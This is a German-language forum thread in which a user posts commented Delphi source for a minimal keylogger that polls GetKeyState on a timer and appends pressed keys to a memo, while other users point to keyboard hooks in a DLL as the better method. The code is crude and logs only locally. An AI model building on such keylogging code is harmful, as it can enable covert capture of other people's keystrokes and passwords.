[Delphi] Simpler Keylogger

[Steiger_mp]

1000 Wege führen nach Rom....hier ist z.B. einer...

Hier ist der Source eines sehr simplen keyloggers.
Um ihn in eine Keylogger-Software einzubauen, ist er nicht geeignet, aber man kann den Aufbau des loggens in einfachster Weise sehn.

* procedure TForm1.Timer1Timer(Sender: TObject);
    * Var pos, c : integer; //deklaration der var
    * begin
    * for c:= 1 to 255 do begin;
    * pos := GetKeyState(c); //der wert des keys wird abgefragt
    * If Copy(IntToStr(pos),1,1) = '-' Then begin; //wert wird überprüft
    * memo1.Text := Memo1.Text + chr(c);// wert wird in memo1 gespeichert
    * End;
    * End;
    * end;

...man brauch also nur ein memo und einen timer....
Der source macht im prinzip nix andres, als mit dem gering eingestelltem
timer eine abfrage nach einer gedrückten taste.Diese taste wird in memo 1 addiert...
Timer zeit würde ich 25 ms eimpfehlen.
Achtung: keine unterschiede zwischen gross und klein schreibung (wie in diesem post )
mfg Steiger_mp

[K1ngC0bra]

o.O. das gibts doch schon hier. Ein viel ausführlicherer sogar ...

[Andyi]

Damit würde ich lieber erst garnich anfangen, lieber sollte man sich den keyboard hook anschauen...

[K1ngC0bra]

Jop in na DLL anstatt in nem Timer

[Steiger_mp]

glaubt ihr dass erste was sich leute anschaun sind dll's?
ich wollte das für die anfänger amchen..wenns sie das begriffen haben und eiwenig weiter sind können sie mit den bessern sorces kommen..weil wenn man einfach nur ein source schnipsel kopiert ist das kiddy haft..man sollte sich schon in allen befehlen im klaren sein

[Nemo.A]

man sollte sich schon in allen befehlen im klaren sein

Dann erkläre sie doch...

[Steiger_mp]

k ich hab den source kommentiert